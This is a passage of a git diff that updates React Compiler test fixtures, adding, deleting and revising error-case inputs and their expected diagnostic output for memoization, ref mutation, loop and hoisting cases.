diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.js
new file mode 100644
index 000000000000..086cda353e5f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.js
@@ -0,0 +1,25 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * When we validate preserving manual memoization we incorrectly reject this, because
+ * the original memoization had `object` depending on `input` but our scope depends on
+ * `value`.
+ *
+ * This fixture adds a later potential mutation, which extends the scope and should
+ * fail validation. This confirms that even though we allow the dependency to diverge,
+ * we still check that the output value is memoized.
+ */
+function useInputValue(input) {
+  const object = React.useMemo(() => {
+    const {value} = transform(input);
+    return {value};
+  }, [input]);
+  mutate(object);
+  return object;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.expect.md
new file mode 100644
index 000000000000..25b11eb38c24
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+
+import {identity, Stringify, useHook} from 'shared-runtime';
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * When we validate preserving manual memoization we incorrectly reject this, because
+ * the original memoization had `object` depending on `input` but our scope depends on
+ * `value`.
+ */
+function useInputValue(input) {
+  // Conflate the `identity(input, x)` call with something outside the useMemo,
+  // to try and break memoization of `value`. This gets correctly flagged since
+  // the dependency is being mutated
+  let x = {};
+  useHook();
+  const object = React.useMemo(() => {
+    const {value} = identity(input, x);
+    return {value};
+  }, [input, x]);
+  return object;
+}
+
+function Component() {
+  return <Stringify value={useInputValue({value: 42}).value} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.ts:25:13
+  23 |     const {value} = identity(input, x);
+  24 |     return {value};
+> 25 |   }, [input, x]);
+     |              ^ This dependency may be modified later
+  26 |   return object;
+  27 | }
+  28 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.js
new file mode 100644
index 000000000000..7af080b072f3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.js
@@ -0,0 +1,36 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+
+import {identity, Stringify, useHook} from 'shared-runtime';
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * When we validate preserving manual memoization we incorrectly reject this, because
+ * the original memoization had `object` depending on `input` but our scope depends on
+ * `value`.
+ */
+function useInputValue(input) {
+  // Conflate the `identity(input, x)` call with something outside the useMemo,
+  // to try and break memoization of `value`. This gets correctly flagged since
+  // the dependency is being mutated
+  let x = {};
+  useHook();
+  const object = React.useMemo(() => {
+    const {value} = identity(input, x);
+    return {value};
+  }, [input, x]);
+  return object;
+}
+
+function Component() {
+  return <Stringify value={useInputValue({value: 42}).value} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.expect.md
deleted file mode 100644
index 78342576a64b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-function Component() {
-  const item = [];
-  const foo = useCallback(
-    () => {
-      item.push(1);
-    }, // eslint-disable-next-line react-hooks/exhaustive-deps
-    []
-  );
-
-  return <Button foo={foo} />;
-}
-
-```
-
-
-## Error
-
-```
-  4 |     () => {
-  5 |       item.push(1);
-> 6 |     }, // eslint-disable-next-line react-hooks/exhaustive-deps
-    |        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable-next-line react-hooks/exhaustive-deps (6:6)
-  7 |     []
-  8 |   );
-  9 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.js
deleted file mode 100644
index ebfb84375e2e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-exhaustive-deps.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  const item = [];
-  const foo = useCallback(
-    () => {
-      item.push(1);
-    }, // eslint-disable-next-line react-hooks/exhaustive-deps
-    []
-  );
-
-  return <Button foo={foo} />;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.expect.md
index 4eb10ea80df6..ea2842d0b387 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
   const x = [];
@@ -21,11 +22,19 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-> 1 | /* eslint-disable react-hooks/rules-of-hooks */
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable react-hooks/rules-of-hooks (1:1)
-  2 | function lowercasecomponent() {
-  3 |   const x = [];
-  4 |   return <div>{x}</div>;
+Found 1 error:
+
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.
+
+error.sketchy-code-rules-of-hooks.ts:2:0
+  1 | // @validateExhaustiveMemoizationDependencies:false
+> 2 | /* eslint-disable react-hooks/rules-of-hooks */
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
+  3 | function lowercasecomponent() {
+  4 |   const x = [];
+  5 |   return <div>{x}</div>;
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.js
index a08b1708fcd5..c8dd66f67f1c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
   const x = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.expect.md
index 158101170cc7..7ffe3f84cf44 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.expect.md
@@ -15,10 +15,17 @@ function Foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.store-property-in-global.ts:4:2
   2 |
   3 | function Foo() {
 > 4 |   wat.test = 1;
-    |   ^^^ InvalidReact: Writing to a variable defined outside a component or hook is not allowed. Consider using an effect (4:4)
+    |   ^^^ value cannot be modified
   5 |   return wat;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.expect.md
new file mode 100644
index 000000000000..757e038c676b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+
+function useHook(parentRef) {
+  // Some components accept a union of "callback" refs and ref objects, which
+  // we can't currently represent
+  const elementRef = useRef(null);
+  const handler = instance => {
+    elementRef.current = instance;
+    if (parentRef != null) {
+      if (typeof parentRef === 'function') {
+        // This call infers the type of `parentRef` as a function...
+        parentRef(instance);
+      } else {
+        // So this assignment fails since we don't know its a ref
+        parentRef.current = instance;
+      }
+    }
+  };
+  return handler;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8
+  13 |       } else {
+  14 |         // So this assignment fails since we don't know its a ref
+> 15 |         parentRef.current = instance;
+     |         ^^^^^^^^^ `parentRef` cannot be modified
+  16 |       }
+  17 |     }
+  18 |   };
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `parentRef` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:19:9
+  17 |     }
+  18 |   };
+> 19 |   return handler;
+     |          ^^^^^^^ This function may (indirectly) reassign or modify `parentRef` after render
+  20 | }
+  21 |
+
+error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8
+  13 |       } else {
+  14 |         // So this assignment fails since we don't know its a ref
+> 15 |         parentRef.current = instance;
+     |         ^^^^^^^^^ This modifies `parentRef`
+  16 |       }
+  17 |     }
+  18 |   };
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.js
new file mode 100644
index 000000000000..de2e1d0c968c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.js
@@ -0,0 +1,20 @@
+// @validateRefAccessDuringRender
+
+function useHook(parentRef) {
+  // Some components accept a union of "callback" refs and ref objects, which
+  // we can't currently represent
+  const elementRef = useRef(null);
+  const handler = instance => {
+    elementRef.current = instance;
+    if (parentRef != null) {
+      if (typeof parentRef === 'function') {
+        // This call infers the type of `parentRef` as a function...
+        parentRef(instance);
+      } else {
+        // So this assignment fails since we don't know its a ref
+        parentRef.current = instance;
+      }
+    }
+  };
+  return handler;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.expect.md
index 3cd5b165d4f8..a69896d6ae99 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-async function Component({ items }) {
+async function Component({items}) {
   const x = [];
   for await (const item of items) {
     x.push(item);
@@ -16,14 +16,19 @@ async function Component({ items }) {
 ## Error
 
 ```
-  1 | async function Component({ items }) {
+Found 1 error:
+
+Todo: (BuildHIR::lowerStatement) Handle for-await loops
+
+error.todo-for-await-loops.ts:3:2
+  1 | async function Component({items}) {
   2 |   const x = [];
 > 3 |   for await (const item of items) {
     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > 4 |     x.push(item);
     | ^^^^^^^^^^^^^^^^^
 > 5 |   }
-    | ^^^^ Todo: (BuildHIR::lowerStatement) Handle for-await loops (3:5)
+    | ^^^^ (BuildHIR::lowerStatement) Handle for-await loops
   6 |   return x;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.js
index eb4e35301a84..d3ee7071ba28 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.js
@@ -1,4 +1,4 @@
-async function Component({ items }) {
+async function Component({items}) {
   const x = [];
   for await (const item of items) {
     x.push(item);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.expect.md
index 09aa77345edb..e5bcf704d1be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const data = useHook();
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ data: { a: "a", b: true, c: "hello" } }],
+  params: [{data: {a: 'a', b: true, c: 'hello'}}],
 };
 
 ```
@@ -31,6 +31,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: Support non-trivial for..in inits
+
+error.todo-for-in-loop-with-context-variable-iterator.ts:8:2
    6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced
    7 |   // within a closure, the `onClick` handler of each item
 >  8 |   for (let key in props.data) {
@@ -48,7 +53,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 14 |     );
      | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > 15 |   }
-     | ^^^^ Todo: Support non-trivial for..in inits (8:15)
+     | ^^^^ Support non-trivial for..in inits
   16 |   return <div>{items}</div>;
   17 | }
   18 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.js
index 34facb7f8f1f..4ab73875896e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.js
@@ -1,4 +1,4 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const data = useHook();
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ data: { a: "a", b: true, c: "hello" } }],
+  params: [{data: {a: 'a', b: true, c: 'hello'}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.expect.md
index fd03115be102..e56f70b29eb4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.expect.md
@@ -2,30 +2,60 @@
 ## Input
 
 ```javascript
+import {Stringify, useIdentity} from 'shared-runtime';
+
 function Component() {
-  const data = useData();
+  const data = useIdentity(
+    new Map([
+      [0, 'value0'],
+      [1, 'value1'],
+    ])
+  );
   const items = [];
   // NOTE: `i` is a context variable because it's reassigned and also referenced
   // within a closure, the `onClick` handler of each item
+  // TODO: for loops create a unique environment on each iteration, which means
+  // that if the iteration variable is only updated in the updater, the variable
+  // is effectively const within the body and the "update" acts more like
+  // a re-initialization than a reassignment.
+  // Until we model this "new environment" semantic, we allow this case to error
   for (let i = MIN; i <= MAX; i += INCREMENT) {
-    items.push(<Stringify key={i} onClick={() => data.set(i)} />);
+    items.push(
+      <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />
+    );
   }
-  return items;
+  return <>{items}</>;
 }
 
+const MIN = 0;
+const MAX = 3;
+const INCREMENT = 1;
+
+export const FIXTURE_ENTRYPOINT = {
+  params: [],
+  fn: Component,
+};
+
 ```
 
 
 ## Error
 
 ```
-  4 |   // NOTE: `i` is a context variable because it's reassigned and also referenced
-  5 |   // within a closure, the `onClick` handler of each item
-> 6 |   for (let i = MIN; i <= MAX; i += INCREMENT) {
-    |        ^^^^^^^^^^^ Todo: Support for loops where the index variable is a context variable. `i` is a context variable (6:6)
-  7 |     items.push(<Stringify key={i} onClick={() => data.set(i)} />);
-  8 |   }
-  9 |   return items;
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.todo-for-loop-with-context-variable-iterator.ts:18:30
+  16 |   // a re-initialization than a reassignment.
+  17 |   // Until we model this "new environment" semantic, we allow this case to error
+> 18 |   for (let i = MIN; i <= MAX; i += INCREMENT) {
+     |                               ^ `i` cannot be modified
+  19 |     items.push(
+  20 |       <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />
+  21 |     );
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.js
index 5330874b89bc..5942071d6c19 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.js
@@ -1,10 +1,33 @@
+import {Stringify, useIdentity} from 'shared-runtime';
+
 function Component() {
-  const data = useData();
+  const data = useIdentity(
+    new Map([
+      [0, 'value0'],
+      [1, 'value1'],
+    ])
+  );
   const items = [];
   // NOTE: `i` is a context variable because it's reassigned and also referenced
   // within a closure, the `onClick` handler of each item
+  // TODO: for loops create a unique environment on each iteration, which means
+  // that if the iteration variable is only updated in the updater, the variable
+  // is effectively const within the body and the "update" acts more like
+  // a re-initialization than a reassignment.
+  // Until we model this "new environment" semantic, we allow this case to error
   for (let i = MIN; i <= MAX; i += INCREMENT) {
-    items.push(<Stringify key={i} onClick={() => data.set(i)} />);
+    items.push(
+      <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />
+    );
   }
-  return items;
+  return <>{items}</>;
 }
+
+const MIN = 0;
+const MAX = 3;
+const INCREMENT = 1;
+
+export const FIXTURE_ENTRYPOINT = {
+  params: [],
+  fn: Component,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.expect.md
index 05b17b3137a9..800822b6743f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const data = useHook();
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ data: [{ id: "1" }, { id: "2" }] }],
+  params: [{data: [{id: '1'}, {id: '2'}]}],
 };
 
 ```
@@ -31,6 +31,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: Support non-trivial for..of inits
+
+error.todo-for-of-loop-with-context-variable-iterator.ts:8:2
    6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced
    7 |   // within a closure, the `onClick` handler of each item
 >  8 |   for (let item of props.data) {
@@ -48,7 +53,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 14 |     );
      | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > 15 |   }
-     | ^^^^ Todo: Support non-trivial for..of inits (8:15)
+     | ^^^^ Support non-trivial for..of inits
   16 |   return <div>{items}</div>;
   17 | }
   18 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.js
index f0ba5094a510..64f08fde8948 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.js
@@ -1,4 +1,4 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const data = useHook();
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ data: [{ id: "1" }, { id: "2" }] }],
+  params: [{data: [{id: '1'}, {id: '2'}]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md
index 174139eaae9e..0cd493836b69 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md
@@ -17,10 +17,38 @@ function Component() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `onClick` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.todo-function-expression-references-later-variable-declaration.ts:3:4
+  1 | function Component() {
+  2 |   let callback = () => {
+> 3 |     onClick = () => {};
+    |     ^^^^^^^ Cannot reassign `onClick` after render completes
+  4 |   };
+  5 |   let onClick;
+  6 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `onClick` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.todo-function-expression-references-later-variable-declaration.ts:7:23
+  5 |   let onClick;
+  6 |
+> 7 |   return <div onClick={callback} />;
+    |                        ^^^^^^^^ This function may (indirectly) reassign or modify `onClick` after render
+  8 | }
+  9 |
+
+error.todo-function-expression-references-later-variable-declaration.ts:3:4
   1 | function Component() {
   2 |   let callback = () => {
 > 3 |     onClick = () => {};
-    |     ^^^^^^^^^^^^^^^^^^ Todo: Handle non-const declarations for hoisting. variable "onClick" declared with let (3:3)
+    |     ^^^^^^^ This modifies `onClick`
   4 |   };
   5 |   let onClick;
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-variable-its-assigned-to.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-variable-its-assigned-to.expect.md
deleted file mode 100644
index c06ecc085f8e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-variable-its-assigned-to.expect.md
+++ /dev/null
@@ -1,27 +0,0 @@
-
-## Input
-
-```javascript
-function Component() {
-  let callback = () => {
-    callback = null;
-  };
-  return <div onClick={callback} />;
-}
-
-```
-
-
-## Error
-
-```
-  1 | function Component() {
-  2 |   let callback = () => {
-> 3 |     callback = null;
-    |     ^^^^^^^^^^^^^^^ Todo: Handle non-const declarations for hoisting. variable "callback" declared with let (3:3)
-  4 |   };
-  5 |   return <div onClick={callback} />;
-  6 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.expect.md
new file mode 100644
index 000000000000..1d90392ce30f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture currently fails with
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>{"result":{"value":2},"fn":{"kind":"Function","result":{"value":2}},"shouldInvokeFns":true}</div>
+ *   Forget:
+ *   (kind: exception) bar is not a function
+ */
+function Foo({value}) {
+  const result = bar();
+  function bar() {
+    return {value};
+  }
+  return <Stringify result={result} fn={bar} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 2}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: [PruneHoistedContexts] Rewrite hoisted function references
+
+error.todo-functiondecl-hoisting.ts:12:17
+  10 |  */
+  11 | function Foo({value}) {
+> 12 |   const result = bar();
+     |                  ^^^ [PruneHoistedContexts] Rewrite hoisted function references
+  13 |   function bar() {
+  14 |     return {value};
+  15 |   }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.tsx
new file mode 100644
index 000000000000..c45410128299
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.tsx
@@ -0,0 +1,22 @@
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture currently fails with
+ * Found differences in evaluator results
